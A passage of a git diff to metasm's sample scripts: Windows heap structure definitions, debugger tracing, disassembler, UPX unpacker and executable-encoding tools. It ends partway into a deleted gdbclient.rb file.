+1,307 @@ +typedef void VOID; +typedef unsigned __int8 UINT8; +typedef unsigned __int16 UINT16, WCHAR; +typedef __int32 LONG32; +typedef unsigned __int32 ULONG32; +typedef __int64 INT64; +typedef unsigned __int64 UINT64; + +struct HEAPTABLE { + struct _HEAP *list[16]; +}; + +struct _LIST_ENTRY { + struct _LIST_ENTRY *FLink; + struct _LIST_ENTRY *BLink; +}; + +typedef struct _SLIST_HEADER { + struct _SLIST_HEADER *Next; + UINT16 Depth; + UINT16 Sequence; +} SLIST_HEADER, *PSLIST_HEADER; + +struct _SINGLE_LIST_ENTRY { + struct _SINGLE_LIST_ENTRY *Next; +}; + + +typedef struct _HEAP_ENTRY { + VOID* PreviousBlockPrivateData; + UINT16 Size; + UINT8 Flags; + UINT8 SmallTagIndex; + UINT16 PreviousSize; + union + { + UINT8 SegmentOffset; + UINT8 LFHFlags; + }; + UINT8 UnusedBytes; +} HEAP_ENTRY, *PHEAP_ENTRY; + +typedef struct _HEAP_COUNTERS +{ + ULONG32 TotalMemoryReserved; + ULONG32 TotalMemoryCommitted; + ULONG32 TotalMemoryLargeUCR; + ULONG32 TotalSizeInVirtualBlocks; + ULONG32 TotalSegments; + ULONG32 TotalUCRs; + ULONG32 CommittOps; + ULONG32 DeCommitOps; + ULONG32 LockAcquires; + ULONG32 LockCollisions; + ULONG32 CommitRate; + ULONG32 DecommittRate; + ULONG32 CommitFailures; + ULONG32 InBlockCommitFailures; + ULONG32 CompactHeapCalls; + ULONG32 CompactedUCRs; + ULONG32 AllocAndFreeOps; + ULONG32 InBlockDeccommits; + ULONG32 InBlockDeccomitSize; + ULONG32 HighWatermarkSize; + ULONG32 LastPolledSize; +} HEAP_COUNTERS, *PHEAP_COUNTERS; + +typedef struct _HEAP_TUNING_PARAMETERS +{ + ULONG32 CommittThresholdShift; + ULONG32 MaxPreCommittThreshold; +} HEAP_TUNING_PARAMETERS, *PHEAP_TUNING_PARAMETERS; + +typedef struct _HEAP_SEGMENT +{ + struct _HEAP_ENTRY Entry; + ULONG32 SegmentSignature; + ULONG32 SegmentFlags; + struct _LIST_ENTRY SegmentListEntry; + struct _HEAP* Heap; + VOID* BaseAddress; + ULONG32 NumberOfPages; + struct _HEAP_ENTRY* FirstEntry; + struct _HEAP_ENTRY* LastValidEntry; + ULONG32 NumberOfUnCommittedPages; + ULONG32 NumberOfUnCommittedRanges; + UINT16 SegmentAllocatorBackTraceIndex; + UINT16 Reserved; + struct _LIST_ENTRY UCRSegmentList; +} HEAP_SEGMENT, *PHEAP_SEGMENT; + +typedef struct _HEAP +{ + struct _HEAP_SEGMENT Segment; + ULONG32 Flags; + ULONG32 ForceFlags; + ULONG32 CompatibilityFlags; + ULONG32 EncodeFlagMask; + struct _HEAP_ENTRY Encoding; + ULONG32 PointerKey; + ULONG32 Interceptor; + ULONG32 VirtualMemoryThreshold; + ULONG32 Signature; + ULONG32 SegmentReserve; + ULONG32 SegmentCommit; + ULONG32 DeCommitFreeBlockThreshold; + ULONG32 DeCommitTotalFreeThreshold; + ULONG32 TotalFreeSize; + ULONG32 MaximumAllocationSize; + UINT16 ProcessHeapsListIndex; + UINT16 HeaderValidateLength; + VOID* HeaderValidateCopy; + UINT16 NextAvailableTagIndex; + UINT16 MaximumTagIndex; + struct _HEAP_TAG_ENTRY* TagEntries; + struct _LIST_ENTRY UCRList; + ULONG32 AlignRound; + ULONG32 AlignMask; + struct _LIST_ENTRY VirtualAllocdBlocks; + struct _LIST_ENTRY SegmentList; + UINT16 AllocatorBackTraceIndex; + UINT8 _PADDING0_[0x2]; + ULONG32 NonDedicatedListLength; + VOID* BlocksIndex; + VOID* UCRIndex; + struct _HEAP_PSEUDO_TAG_ENTRY* PseudoTagEntries; + struct _LIST_ENTRY FreeLists; + struct _HEAP_LOCK* LockVariable; + VOID* CommitRoutine; + VOID* FrontEndHeap; + UINT16 FrontHeapLockCount; + UINT8 FrontEndHeapType; + UINT8 _PADDING1_[0x1]; + struct _HEAP_COUNTERS Counters; + struct _HEAP_TUNING_PARAMETERS TuningParameters; +} HEAP, *PHEAP; + +typedef struct _HEAP_ENTRY_EXTRA +{ + union + { + struct + { + UINT16 AllocatorBackTraceIndex; + UINT16 TagIndex; + ULONG32 Settable; + }; + UINT64 ZeroInit; + }; +} HEAP_ENTRY_EXTRA, *PHEAP_ENTRY_EXTRA; + +typedef struct _HEAP_FREE_ENTRY +{ + struct _HEAP_ENTRY Entry; + struct _LIST_ENTRY FreeList; +} HEAP_FREE_ENTRY, *PHEAP_FREE_ENTRY; + +typedef struct _HEAP_LIST_LOOKUP +{ + struct _HEAP_LIST_LOOKUP* ExtendedLookup; + ULONG32 ArraySize; + ULONG32 ExtraItem; + ULONG32 ItemCount; + ULONG32 OutOfRangeItems; + ULONG32 BaseIndex; + struct _LIST_ENTRY* ListHead; + ULONG32* ListsInUseUlong; + struct _LIST_ENTRY** ListHints; +} HEAP_LIST_LOOKUP, *PHEAP_LIST_LOOKUP; + +typedef struct _HEAP_LOOKASIDE +{ + struct _SLIST_HEADER ListHead; + UINT16 Depth; + UINT16 MaximumDepth; + ULONG32 TotalAllocates; + ULONG32 AllocateMisses; + ULONG32 TotalFrees; + ULONG32 FreeMisses; + ULONG32 LastTotalAllocates; + ULONG32 LastAllocateMisses; + ULONG32 Counters[2]; + UINT8 _PADDING0_[0x4]; +} HEAP_LOOKASIDE, *PHEAP_LOOKASIDE; + +typedef struct _INTERLOCK_SEQ +{ + union + { + struct + { + UINT16 Depth; + UINT16 FreeEntryOffset; + UINT8 _PADDING0_[0x4]; + }; + struct + { + ULONG32 OffsetAndDepth; + ULONG32 Sequence; + }; + INT64 Exchg; + }; +}INTERLOCK_SEQ, *PINTERLOCK_SEQ; + +typedef struct _HEAP_TAG_ENTRY +{ + ULONG32 Allocs; + ULONG32 Frees; + ULONG32 Size; + UINT16 TagIndex; + UINT16 CreatorBackTraceIndex; + WCHAR TagName[24]; +} HEAP_TAG_ENTRY, *PHEAP_TAG_ENTRY; + +typedef struct _HEAP_UCR_DESCRIPTOR +{ + struct _LIST_ENTRY ListEntry; + struct _LIST_ENTRY SegmentEntry; + VOID* Address; + ULONG32 Size; +} HEAP_UCR_DESCRIPTOR, *PHEAP_UCR_DESCRIPTOR; + +typedef struct _HEAP_USERDATA_HEADER +{ + union + { + struct _SINGLE_LIST_ENTRY SFreeListEntry; + struct _HEAP_SUBSEGMENT* SubSegment; + }; + VOID* Reserved; + ULONG32 SizeIndex; + ULONG32 Signature; +} HEAP_USERDATA_HEADER, *PHEAP_USERDATA_HEADER; + +typedef struct _HEAP_VIRTUAL_ALLOC_ENTRY +{ + struct _LIST_ENTRY Entry; + struct _HEAP_ENTRY_EXTRA ExtraStuff; + ULONG32 CommitSize; + ULONG32 ReserveSize; + struct _HEAP_ENTRY BusyBlock; +} HEAP_VIRTUAL_ALLOC_ENTRY, *PHEAP_VIRTUAL_ALLOC_ENTRY; + +struct _USER_MEMORY_CACHE_ENTRY { + ULONG32 Foo[4]; +}; +struct _HEAP_BUCKET { + ULONG32 Foo; +}; +struct _HEAP_BUCKET_COUNTERS { + ULONG32 Foo[2]; +}; + +typedef struct _HEAP_LOCAL_SEGMENT_INFO +{ + struct _HEAP_SUBSEGMENT* Hint; + struct _HEAP_SUBSEGMENT* ActiveSubsegment; + struct _HEAP_SUBSEGMENT* CachedItems[16]; + struct _SLIST_HEADER SListHeader; + struct _HEAP_BUCKET_COUNTERS Counters; + struct _HEAP_LOCAL_DATA* LocalData; + ULONG32 LastOpSequence; + UINT16 BucketIndex; + UINT16 LastUsed; + ULONG32 Pad; +} HEAP_LOCAL_SEGMENT_INFO, *PHEAP_LOCAL_SEGMENT_INFO; + +typedef struct _HEAP_LOCAL_DATA { + struct _SLIST_HEADER DeletedSubSegments; + struct _LFH_BLOCK_ZONE* CrtZone; + struct _LFH_HEAP* LowFragHeap; + ULONG32 Sequence; + struct _HEAP_LOCAL_SEGMENT_INFO SegmentInfo[128]; +} HEAP_LOCAL_DATA; + +typedef struct _HEAP_SUBSEGMENT +{ + struct _HEAP_LOCAL_SEGMENT_INFO* LocalInfo; + struct _HEAP_USERDATA_HEADER* UserBlocks; + struct _INTERLOCK_SEQ AggregateExchg; + UINT16 BlockSize; + UINT16 Flags; + UINT16 BlockCount; + UINT8 SizeIndex; + UINT8 AffinityIndex; + struct _SINGLE_LIST_ENTRY SFreeListEntry; + ULONG32 Lock; +} HEAP_SUBSEGMENT, *PHEAP_SUBSEGMENT; + +typedef struct _LFH_HEAP +{ + ULONG32 Lock[6]; + struct _LIST_ENTRY SubSegmentZones; + ULONG32 ZoneBlockSize; + VOID* Heap; + ULONG32 SegmentChange; + ULONG32 SegmentCreate; + ULONG32 SegmentInsertInFree; + ULONG32 SegmentDelete; + ULONG32 CacheAllocs; + ULONG32 CacheFrees; + ULONG32 SizeInCache; + ULONG32 RunInfo[3]; + struct _USER_MEMORY_CACHE_ENTRY UserBlockCache[12]; + struct _HEAP_BUCKET Buckets[128]; + struct _HEAP_LOCAL_DATA LocalData[1]; +} LFH_HEAP; diff --git a/lib/metasm/samples/dbg-plugins/trace_func.rb b/lib/metasm/samples/dbg-plugins/trace_func.rb index cc3e18cf71..65bb0594d0 100644 --- a/lib/metasm/samples/dbg-plugins/trace_func.rb +++ b/lib/metasm/samples/dbg-plugins/trace_func.rb @@ -10,16 +10,31 @@ # does not descend in subfunctions # setup the initial breakpoint at func start -def trace_func(addr) +def trace_func(addr, oneshot = false) + @trace_terminate = false + # distinguish different hits on the same function entry counter = 0 - bp = bpx(addr) { |h| + bp = bpx(addr, oneshot) { counter += 1 - id = [disassembler.normalize(addr), counter, @cpu.dbg_func_retaddr(self)] + id = [disassembler.normalize(addr), counter, func_retaddr] trace_func_newtrace(id) trace_func_block(id) - continue if h[:pre_state] == 'continue' + continue } - bp.action.call({}) if addr == pc + if addr == pc + del_bp bp if oneshot + bp.action.call + end +end + +# start tracing now, and stop only when @trace_terminate is set +def trace + @trace_subfuncs = true + @trace_terminate = false + id = [pc, 0, 0] + trace_func_newtrace(id) + trace_func_block(id) + continue end # we hit the beginning of a block we want to trace @@ -30,9 +45,9 @@ def trace_func_block(id) if b.list.length == 1 trace_func_blockend(id, blockaddr) else - bpx(b.list.last.address, true) { |h| + bpx(b.list.last.address, true) { finished = trace_func_blockend(id, blockaddr) - continue if h[:pre_state] == 'continue' and not finished + continue if not finished } end else @@ -44,29 +59,32 @@ end # we are at the end of a traced block, find whats next def trace_func_blockend(id, blockaddr) if di = disassembler.di_at(pc) - if @cpu.dbg_end_stepout(self, di.address, di) and trace_func_istraceend(id, di) + if end_stepout(di) and trace_func_istraceend(id, di) # trace ends there trace_func_finish(id) return true elsif di.opcode.props[:saveip] and not trace_func_entersubfunc(id, di) # call to a subfunction - bpx(di.next_addr, true) { |h| + bpx(di.next_addr, true) { trace_func_block(id) - continue if h[:pre_state] == 'continue' + continue } + continue else - singlestep # XXX would need a callback on singlestep completion (to avoid multithread/exception) - wait_target - newaddr = pc - trace_func_block(id) + singlestep { + newaddr = pc + trace_func_block(id) - trace_func_linkdasm(di.address, newaddr) + trace_func_linkdasm(di.address, newaddr) + continue + } end else # XXX should link in the dasm somehow - singlestep - wait_target - trace_func_block(id) + singlestep { + trace_func_block(id) + continue + } end false end @@ -88,7 +106,7 @@ def trace_func_linkdasm(from_addr, new_addr) return if not di # is it a subfunction return ? - if @cpu.dbg_end_stepout(self, di.address, di) and cdi = (1..8).map { |i| + if end_stepout(di) and cdi = (1..8).map { |i| disassembler.di_at(new_addr - i) }.compact.find { |cdi_| cdi_.opcode.props[:saveip] and cdi_.next_addr == new_addr @@ -148,7 +166,10 @@ def trace_subfuncs; @trace_subfuncs ||= false end # the tracer is on a end-of-func instruction, should the trace end ? def trace_func_istraceend(id, di) if trace_subfuncs - if target = disassembler.get_xrefs_x(di)[0] + if @trace_terminate + true + elsif id[2] == 0 # trace VS func_trace + elsif target = disassembler.get_xrefs_x(di)[0] # check the current return address against the one saved at trace start resolve(disassembler.normalize(target)) == id[2] end @@ -179,7 +200,10 @@ end if gui gui.new_command('trace_func', 'trace execution inside a target function') { |arg| trace_func arg } - gui.new_command('trace_now', 'trace til the end of the current function') { trace_func pc ; gui.wrap_run { continue } } + gui.new_command('trace_func_once', 'trace one execution inside the target function') { |arg| trace_func arg, true } + gui.new_command('trace_now', 'trace til the end of the current function') { trace_func pc, true ; gui.wrap_run { continue } } + gui.new_command('trace', 'start tracing from the current pc until trace_stop') { trace } + gui.new_command('trace_stop', 'stop tracing') { @trace_terminate = true } gui.new_command('trace_subfunctions', 'define if the tracer should enter subfunctions') { |arg| case arg.strip when 'on', '1', 'yes', 'y'; @trace_subfuncs = true diff --git a/lib/metasm/samples/disassemble-gui.rb b/lib/metasm/samples/disassemble-gui.rb index c8a097a765..080b5e0745 100644 --- a/lib/metasm/samples/disassemble-gui.rb +++ b/lib/metasm/samples/disassemble-gui.rb @@ -40,7 +40,7 @@ OptionParser.new { |opt| opt.on('--map ', 'load a map file (addr <-> name association)') { |f| opts[:map] = f } opt.on('--fast', 'dasm cli args with disassemble_fast_deep') { opts[:fast] = true } opt.on('--decompile') { opts[:decompile] = true } - opt.on('--gui ') { |g| require 'metasm/gui/' + g } + opt.on('--gui ') { |g| ENV['METASM_GUI'] = g } opt.on('--cpu ', 'the CPU class to use for a shellcode (Ia32, X64, ...)') { |c| opts[:sc_cpu] = c } opt.on('--exe ', 'the executable file format to use (PE, ELF, ...)') { |c| opts[:exe_fmt] = c } opt.on('--rebase ', 'rebase the loaded file to ') { |a| opts[:rebase] = Integer(a) } @@ -49,6 +49,8 @@ OptionParser.new { |opt| opt.on('-v', '--verbose') { $VERBOSE = true } # default opt.on('-q', '--no-verbose') { $VERBOSE = false } opt.on('-d', '--debug') { $DEBUG = $VERBOSE = true } + opt.on('-S ', '--session ', 'save user actions in this session file') { |a| opts[:session] = a } + opt.on('-N', '--new-session', 'start new session, discard old one') { opts[:newsession] = true } }.parse!(ARGV) case exename = ARGV.shift @@ -66,6 +68,8 @@ when /^(tcp:|udp:)?..+:/ else w = Metasm::Gui::DasmWindow.new("#{exename + ' - ' if exename}metasm disassembler") if exename + opts[:sc_cpu] = eval(opts[:sc_cpu]) if opts[:sc_cpu] =~ /[.(\s:]/ + opts[:exe_fmt] = eval(opts[:exe_fmt]) if opts[:exe_fmt] =~ /[.(\s:]/ exe = w.loadfile(exename, opts[:sc_cpu], opts[:exe_fmt]) exe.disassembler.rebase(opts[:rebase]) if opts[:rebase] if opts[:autoload] @@ -73,6 +77,7 @@ else opts[:map] ||= basename + '.map' if File.exist?(basename + '.map') opts[:cheader] ||= basename + '.h' if File.exist?(basename + '.h') (opts[:plugin] ||= []) << (basename + '.rb') if File.exist?(basename + '.rb') + opts[:session] ||= basename + '.metasm-session' end end end @@ -80,21 +85,46 @@ end ep = ARGV.map { |arg| (?0..?9).include?(arg[0]) ? Integer(arg) : arg } if exe - dasm = exe.init_disassembler + dasm = exe.disassembler dasm.load_map opts[:map] if opts[:map] dasm.parse_c_file opts[:cheader] if opts[:cheader] dasm.backtrace_maxblocks_data = -1 if opts[:nodatatrace] dasm.debug_backtrace = true if opts[:debugbacktrace] - dasm.disassemble_fast_deep(*ep) if opts[:fast] dasm.callback_finished = lambda { w.dasm_widget.focus_addr w.dasm_widget.curaddr, :decompile ; dasm.decompiler.finalize } if opts[:decompile] + dasm.disassemble_fast_deep(*ep) if opts[:fast] elsif dbg dbg.load_map opts[:map] if opts[:map] - opts[:plugin].to_a.each { |p| dbg.load_plugin(p) } + dbg.disassembler.parse_c_file opts[:cheader] if opts[:cheader] + opts[:plugin].to_a.each { |p| + begin + dbg.load_plugin(p) + rescue ::Exception + puts "Error with plugin #{p}: #{$!.class} #{$!}" + end + } end if dasm w.display(dasm, ep) - opts[:plugin].to_a.each { |p| dasm.load_plugin(p) } + opts[:plugin].to_a.each { |p| + begin + dasm.load_plugin(p) + rescue ::Exception + puts "Error with plugin #{p}: #{$!.class} #{$!}" + end + } + + if opts[:session] + if File.exist?(opts[:session]) + if opts[:newsession] + File.unlink(opts[:session]) + else + puts "replaying session #{opts[:session]}" + w.widget.replay_session(opts[:session]) + end + end + w.widget.save_session opts[:session] + end end opts[:hookstr].to_a.each { |f| eval f } diff --git a/lib/metasm/samples/disassemble.rb b/lib/metasm/samples/disassemble.rb index a3acc01610..dbc0e75ba0 100644 --- a/lib/metasm/samples/disassemble.rb +++ b/lib/metasm/samples/disassemble.rb @@ -48,10 +48,23 @@ t0 = Time.now if opts[:benchmark] if exename =~ /^live:(.*)/ raise 'no such live target' if not target = OS.current.find_process($1) p target if $VERBOSE - exe = Shellcode.decode(target.memory, Metasm.const_get(opts[:sc_cpu]).new) + opts[:sc_cpu] = eval(opts[:sc_cpu]) if opts[:sc_cpu] =~ /[.(\s:]/ + opts[:sc_cpu] = Metasm.const_get(opts[:sc_cpu]) if opts[:sc_cpu].kind_of(::String) + opts[:sc_cpu] = opts[:sc_cpu].new if opts[:sc_cpu].kind_of?(::Class) + exe = Shellcode.decode(target.memory, opts[:sc_cpu]) else - exefmt = opts[:exe_fmt] ? Metasm.const_get(opts[:exe_fmt]) : AutoExe.orshellcode { Metasm.const_get(opts[:sc_cpu]).new } - exefmt = exefmt.withcpu(Metasm.const_get(opts[:sc_cpu]).new) if opts[:exe_fmt] == 'Shellcode' and opts[:sc_cpu] + opts[:sc_cpu] = eval(opts[:sc_cpu]) if opts[:sc_cpu] =~ /[.(\s:]/ + opts[:exe_fmt] = eval(opts[:exe_fmt]) if opts[:exe_fmt] =~ /[.(\s:]/ + if opts[:exe_fmt].kind_of?(::String) + exefmt = opts[:exe_fmt] = Metasm.const_get(opts[:exe_fmt]) + else + exefmt = opts[:exe_fmt] || AutoExe.orshellcode { + opts[:sc_cpu] = Metasm.const_get(opts[:sc_cpu]) if opts[:sc_cpu].kind_of?(::String) + opts[:sc_cpu] = opts[:sc_cpu].new if opts[:sc_cpu].kind_of?(::Class) + opts[:sc_cpu] + } + end + exefmt = exefmt.withcpu(opts[:sc_cpu]) if exefmt.kind_of?(::Class) and exefmt.name.to_s.split('::').last == 'Shellcode' exe = exefmt.decode_file(exename) exe.disassembler.rebase(opts[:rebase]) if opts[:rebase] if opts[:autoload] @@ -62,7 +75,7 @@ else end end # set options -dasm = exe.init_disassembler +dasm = exe.disassembler makeint = lambda { |addr| case addr when /^[0-9].*h/; addr.to_i(16) @@ -75,13 +88,19 @@ dasm.parse_c_file opts[:cheader] if opts[:cheader] dasm.backtrace_maxblocks_data = -1 if opts[:nodatatrace] dasm.debug_backtrace = true if opts[:debugbacktrace] opts[:stopaddr].to_a.each { |addr| dasm.decoded[makeint[addr]] = true } -opts[:plugin].to_a.each { |p| dasm.load_plugin p } +opts[:plugin].to_a.each { |p| + begin + dasm.load_plugin p + rescue ::Exception + puts "Error with plugin #{p}: #{$!.class} #{$!}" + end +} opts[:hookstr].to_a.each { |f| eval f } t1 = Time.now if opts[:benchmark] # do the work begin - method = opts[:fast] ? :disassemble_fast : :disassemble + method = opts[:fast] ? :disassemble_fast_deep : :disassemble if ARGV.empty? exe.send(method) else @@ -98,7 +117,13 @@ if opts[:decompile] tdc = Time.now if opts[:benchmark] end -opts[:post_plugin].to_a.each { |p| dasm.load_plugin p } +opts[:post_plugin].to_a.each { |p| + begin + dasm.load_plugin p + rescue ::Exception + puts "Error with plugin #{p}: #{$!.class} #{$!}" + end +} dasm.save_file(opts[:savefile]) if opts[:savefile] diff --git a/lib/metasm/samples/dump_upx.rb b/lib/metasm/samples/dump_upx.rb index 4bb199fa35..1839ffbdb0 100644 --- a/lib/metasm/samples/dump_upx.rb +++ b/lib/metasm/samples/dump_upx.rb @@ -10,7 +10,7 @@ # original entrypoint by disassembling the UPX stub, set breakpoint on it, # run the program, and dump the loaded image to an executable PE. # -# usage: dump_upx.rb [] [] +# usage: dump_upx.rb [] [] [--oep ] # require 'metasm' @@ -21,17 +21,22 @@ class UPXUnpacker # find the oep by disassembling # run it until the oep # dump the memory image - def initialize(file, dumpfile, iat_rva=nil) - @dumpfile = dumpfile || 'upx-dumped.exe' - @iat = iat_rva + def initialize(file, oep, iat, dumpfile) + @dumpfile = dumpfile + @dumpfile ||= file.chomp('.exe') + '.dump.exe' puts 'disassembling UPX loader...' pe = PE.decode_file(file) - @oep = find_oep(pe) - raise 'cant find oep...' if not @oep - puts "oep found at #{Expression[@oep]}" @baseaddr = pe.optheader.image_base - @iat -= @baseaddr if @iat > @baseaddr # va => rva + + @oep = oep + @oep -= @baseaddr if @oep and @oep > @baseaddr # va => rva + @oep ||= find_oep(pe) + raise 'cant find oep...' if not @oep + puts "oep found at #{Expression[@oep]}" if not oep + + @iat = iat + @iat -= @baseaddr if @iat and @iat > @baseaddr @dbg = OS.current.create_process(file).debugger puts 'running...' @@ -40,7 +45,7 @@ class UPXUnpacker # disassemble the upx stub to find a cross-section jump (to the real entrypoint) def find_oep(pe) - dasm = pe.disassemble_fast 'entrypoint' + dasm = pe.disassemble_fast_deep 'entrypoint' return if not jmp = dasm.decoded.find { |addr, di| # check only once per basic block @@ -80,7 +85,8 @@ class UPXUnpacker dump.sections.each { |s| s.characteristics |= ['MEM_WRITE'] } # write the PE file to disk - dump.encode_file @dumpfile + # as UPX strips the relocation information, mark the exe to opt-out from ASLR + dump.encode_file @dumpfile, 'exe', false puts 'dump complete' ensure @@ -90,6 +96,12 @@ class UPXUnpacker end if __FILE__ == $0 - # args: packed [unpacked] [iat rva] - UPXUnpacker.new(ARGV.shift, ARGV.shift, (Integer(ARGV.shift) rescue nil)) + fn = ARGV.shift + oep = Integer(ARGV.shift) unless ARGV.empty? + oep = nil if oep == -1 + iat = Integer(ARGV.shift) unless ARGV.empty? + iat = nil if iat == -1 + out = ARGV.shift + abort 'usage: dump [] [] []' if not File.exist?(fn) + UPXUnpacker.new(fn, oep, iat, out) end diff --git a/lib/metasm/samples/dynamic_ruby.rb b/lib/metasm/samples/dynamic_ruby.rb index 705706d7e6..d86e3b5813 100644 --- a/lib/metasm/samples/dynamic_ruby.rb +++ b/lib/metasm/samples/dynamic_ruby.rb @@ -289,12 +289,15 @@ EOS m ? @cp.dump_definition(m) : @cp.to_s end + @@optim_hint = {} + def self.optim_hint; @@optim_hint; end + attr_accessor :optim_hint def initialize(cp=nil) @cp = cp || DynLdr.host_cpu.new_cparser @cp.parse RUBY_H @iter_break = nil - @optim_hint = {} + @optim_hint = @@optim_hint.dup end # convert a ruby AST to a new C function @@ -408,7 +411,7 @@ EOS ast_to_c(a, els, false) @scope.statements << C::If.new(cnd, thn, els) } - end + end if args[3] raise Fail, "unhandled vararglist3 #{args.inspect}" if args[3][0] != :lasgn @@ -547,7 +550,7 @@ EOS body_other_head = fu end body_other = fu - end + end # default case statement else @@ -773,7 +776,7 @@ EOS e = ast[3].dup e[-1] = [:call, [:call, [:rb2cvar, full.name], '[]', [:array, [:dot2, [:lit, ast[1].length-1], [:lit, -1]]]], 'to_a'] ast_to_c(e, scope, false) - end + end full end @@ -822,7 +825,7 @@ EOS l = local(ast[1], :none) else # w = 4 if false ; p w => should be nil - l = local(ast[1]) + l = local(ast[1]) end st = ast_to_c(ast[2], scope, l) scope.statements << C::CExpression[l, :'=', st] if st != l @@ -885,7 +888,7 @@ EOS if idx scope.statements << rb_funcall(recv, ast[2], idx, arg) else - scope.statements << rb_funcall(recv, ast[2], arg) + scope.statements << rb_funcall(recv, ast[2], arg) end tmp @@ -926,17 +929,17 @@ EOS ast[1][1..-1].each { |k| if not ki ki = k - else + else scope.statements << fcall('rb_hash_aset', tmp, ast_to_c(ki, scope), ast_to_c(k, scope)) ki = nil - end + end } tmp when :iter if v = optimize_iter(ast, scope, want_value) return v - end + end # for full support of :iter, we need access to the interpreter's ruby_block private global variable in eval.c # we can find it by analysing rb_block_given_p, but this won't work with a static precompiled rubyhack... # even with access to ruby_block, there we would need to redo PUSH_BLOCK, create a temporary dvar list, @@ -993,7 +996,7 @@ EOS tbdy.statements << C::CExpression[tmp, :'=', thn] if tmp != thn if ast[3] els = ast_to_c(ast[3], ebdy, tmp) - else + else # foo = if bar ; baz ; end => nil if !bar els = rb_nil end @@ -1135,10 +1138,10 @@ EOS args = ast[3][1..-1] if ast[3] and ast[3][0] == :array arg0 = args[0] if args and args[0] - if arg0 and arg0[0] == :lit and arg0[1].kind_of? Fixnum + if arg0 and arg0[0] == :lit and arg0[1].kind_of?(Fixnum) and %w[== > < >= <= + -].include?(op) + # TODO or @optim_hint[ast[1]] == 'fixnum' # optimize 'x==42', 'x+42', 'x-42' o2 = arg0[1] - return if not %w[== > < >= <= + -].include? op if o2 < 0 and ['+', '-'].include? op # need o2 >= 0 for overflow detection op = {'+' => '-', '-' => '+'}[op] @@ -1177,7 +1180,7 @@ EOS # add_optimized_statement wont handle the overflow check correctly scope.statements << t else - scope.statements << C::If.new(cnd, t, e) + scope.statements << C::If.new(cnd, t, e) end when '-' e = ce[recv, :-, [int_v-1]] @@ -1187,8 +1190,8 @@ EOS if @optim_hint[ast[1]] == 'fixnum' scope.statements << t else - scope.statements << C::If.new(cnd, t, e) - end + scope.statements << C::If.new(cnd, t, e) + end end tmp @@ -1809,8 +1812,8 @@ EOS ctr = C::CExpression[:'++', [@rb_fcntr, :'[]', [@rb_fcid]]] C::CExpression[ctr, :',', super(recv, meth, *args)] - end end + end end end @@ -1819,6 +1822,12 @@ end if __FILE__ == $0 or ARGV.delete('ignore_argv0') +while i = ARGV.index('-e') + # setup optim_hint etc + ARGV.delete_at(i) + eval ARGV.delete_at(i) +end + demo = case ARGV.first when nil; :test_jit when 'asm'; :inlineasm @@ -1898,10 +1907,10 @@ when :compile_ruby when :test_jit class Foo def bla(x=500) - i = 0 + i = 0 x.times { i += 16 } - i - end + i + end end t0 = Time.now diff --git a/lib/metasm/samples/exeencode.rb b/lib/metasm/samples/exeencode.rb index bf38ec3f4e..58e8dd49c9 100644 --- a/lib/metasm/samples/exeencode.rb +++ b/lib/metasm/samples/exeencode.rb @@ -26,7 +26,8 @@ $opts = { OptionParser.new { |opt| opt.on('-o file', 'output filename') { |f| $opts[:outfilename] = f } - opt.on('-f') { $opts[:overwrite_outfile] = true } + opt.on('-i', 'dont overwrite existing outfile') { $opts[:nooverwrite_outfile] = true } + opt.on('-f', 'overwrite existing outfile (default)') { $opts.delete :nooverwrite_outfile } # without this, optparse autocomplete to --fno-pic and break older scripts... opt.on('--c', 'parse source as a C file') { $opts[:srctype] = 'c' } opt.on('--asm', 'parse asm as an ASM file') { $opts[:srctype] = 'asm' } opt.on('--stdin', 'parse source on stdin') { ARGV << '-' } @@ -44,7 +45,7 @@ OptionParser.new { |opt| opt.on('--le', 'set cpu in little-endian mode') { $opts[:cpu].endianness = :little } opt.on('--be', 'set cpu in big-endian mode') { $opts[:cpu].endianness = :big } opt.on('--fno-pic', 'generate position-dependant code') { $opts[:cpu].generate_PIC = false } - opt.on('--shared', 'generate shared library') { $opts[:exetype] = :lib } + opt.on('--shared', '--lib', '--dll', 'generate shared library') { $opts[:exetype] = :lib } opt.on('--ruby-module-hack', 'use the dynldr module hack to use any ruby lib available for ruby symbols') { $opts[:dldrhack] = true } }.parse! @@ -62,7 +63,7 @@ else src << DATA.read # the text after __END__ in this file end -if $opts[:outfilename] and not $opts[:overwrite_outfile] and File.exist?($opts[:outfilename]) +if $opts[:outfilename] and $opts[:nooverwrite_outfile] and File.exist?($opts[:outfilename]) abort "Error: target file exists !" end @@ -93,7 +94,7 @@ if $opts[:to_string] end if of = $opts[:outfilename] - abort "Error: target file #{of.inspect} exists !" if File.exists? of and not $opts[:overwrite_outfile] + abort "Error: target file #{of.inspect} exists !" if File.exists?(of) and $opts[:nooverwrite_outfile] File.open(of, 'w') { |fd| fd.puts str } puts "saved to file #{of.inspect}" else @@ -101,7 +102,7 @@ if $opts[:to_string] end else of = $opts[:outfilename] ||= 'a.out' - abort "Error: target file #{of.inspect} exists !" if File.exists? of and not $opts[:overwrite_outfile] + abort "Error: target file #{of.inspect} exists !" if File.exists?(of) and $opts[:nooverwrite_outfile] Metasm::DynLdr.compile_binary_module_hack(exe) if $opts[:dldrhack] exe.encode_file(of, $opts[:exetype]) puts "saved to file #{of.inspect}" diff --git a/lib/metasm/samples/factorize-headers-peimports.rb b/lib/metasm/samples/factorize-headers-peimports.rb index 378b7598a6..294426fabd 100644 --- a/lib/metasm/samples/factorize-headers-peimports.rb +++ b/lib/metasm/samples/factorize-headers-peimports.rb @@ -41,18 +41,13 @@ if opts[:vspath] ||= ARGV.shift end funcnames = opts[:exe].map { |e| - pe = PE.decode_file_header(e) rescue nil - - pe.decode_imports if pe - if pe and not pe.imports + pe = PE.decode_file_header(e) rescue next + pe.decode_imports + if not pe.imports puts "#{e} has no imports" next end - if pe - pe.imports.map { |id| id.imports.map { |i| i.name } } - else - [] - end + pe.imports.map { |id| id.imports.map { |i| i.name } } }.flatten.compact.uniq.sort ARGV.each { |n| diff --git a/lib/metasm/samples/gdbclient.rb b/lib/metasm/samples/gdbclient.rb deleted file mode 100644 index 9aabd2cf8e..0000000000 --- a/lib/metasm/samples/gdbclient.rb +++ /dev/null @@ -1,583 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# -# this is a rubstop-api compatible Gdb stub -# it can connect to a gdb server and interface with the lindebug frontend -# linux/x86 only -# - -require 'socket' -require 'metasm' - -class GdbRemoteString < Metasm::VirtualString - attr_accessor :gdbg - - def initialize(gdbg, addr_start=0, length=0xffff_ffff) - @gdbg = gdbg - @pagelength = 512 - super(addr_start, length) - end - - def 